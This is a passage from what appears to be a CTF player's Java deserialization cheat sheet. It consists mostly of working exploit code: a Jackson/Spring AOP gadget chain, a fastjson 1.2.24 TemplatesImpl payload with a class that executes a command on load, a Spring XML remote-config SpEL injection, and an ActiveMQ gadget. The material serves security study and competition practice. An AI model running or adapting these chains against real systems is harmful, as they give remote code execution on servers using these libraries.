        setValue(tmp,"_bytecodes",generateEvilBytes());

//        //不稳定的触发
//        ObjectMapper objmapper = new ObjectMapper();
//        ArrayNode arrayNode =objmapper.createArrayNode();
//        arrayNode.addPOJO(tmp);
//
//
//        BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
//        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
//        f.setAccessible(true);
//        f.set(ex,arrayNode);
//
//        serialize(ex);
//        System.out.println(getb64(ex));
//        System.out.println(getb64(ex).length());
//        unserialize();

        //稳定触发

        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(tmp);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

        ObjectMapper objmapper = new ObjectMapper();
        ArrayNode arrayNode =objmapper.createArrayNode();
        arrayNode.addPOJO(proxy);

        BadAttributeValueExpException ex = new BadAttributeValueExpException("1"); //反射绕过构造方法限制
        Field f = BadAttributeValueExpException.class.getDeclaredField("val");
        f.setAccessible(true);
        f.set(ex,arrayNode);

        serialize(ex);
        System.out.println(getb64(ex));
        System.out.println(getb64(ex).length());
        unserialize();

    }
}

fastjson相关

fastjson <= 1.2.24

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.alibaba.fastjson.JSON;
import javassist.*;
import java.util.Base64;
import java.util.Objects;

public class Main {
    public static String getClassB64(String classname) throws Exception{
        ClassPool pool = ClassPool.getDefault();
        CtClass ctClass = pool.get(classname);
        byte[] bytes = ctClass.toBytecode(); //字节码
        String b64 = Base64.getEncoder().encodeToString(bytes); //Base64
        return b64;

    }
    public static void main(String[] args) throws Exception {
        ParserConfig parserConfig = new ParserConfig();
        String js = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\""+getClassB64("org.example.Test")+"\"],\"_name\":\"a.b\",\"_tfactory\":{ },\"_outputProperties\":{}}";
        System.out.println(js);
        Object obj = JSON.parseObject(js, Object.class, parserConfig, Feature.SupportNonPublicField);
    }
}

Test.java:

package org.example;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Test extends AbstractTranslet {
    public Test() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
    }

    @Override
    public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {

    }

}

危险方法

(该部分有些来自https://pankas.top/2023/12/11/%E5%B8%B8%E7%94%A8java%E4%BB%A3%E7%A0%81-trick-%E5%A4%87%E5%BF%98%E5%BD%95/,
做题时遇到就直接用人家搜集的了)

单String构造方法

spring依赖:

org.springframework.context.support.ClassPathXmlApplicationContext obj = new ClassPathXmlApplicationContext("http://127.0.0.1/exp.xml");
org.springframework.context.support.FileSystemXmlApplicationContext obj2 = new FileSystemXmlApplicationContext("http://127.0.0.1/exp.xml");

exp.xml:

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="http://www.springframework.org/schema/beans
    http://www.springframework.org/schema/beans/spring-beans-3.0.xsd ">
    <bean id="helloWorld" class="org.example.Main">
        <property name="message" value="#{T(Runtime).getRuntime().exec('calc')}" />
    </bean>

</beans>

activemq依赖:

new IniEnvironment(
        "\nbs=org.apache.activemq.util.ByteSequence\n" +
        "bs.data=rO0AB...eA== (gadget序列化payload的base64,activemq自带CB依赖)\n" +
        "bs.offset=0\n"+
        "bs.length=1344\n"+
        "message=org.apache.activemq.command.ActiveMQObjectMessage\n" +
        "message.content=$bs\n" +
        "message.trustAllPackages=true\n"+
        "message.object.haha=haha")
A web ctfer from 0RAYS
最后更新于 2024-10-30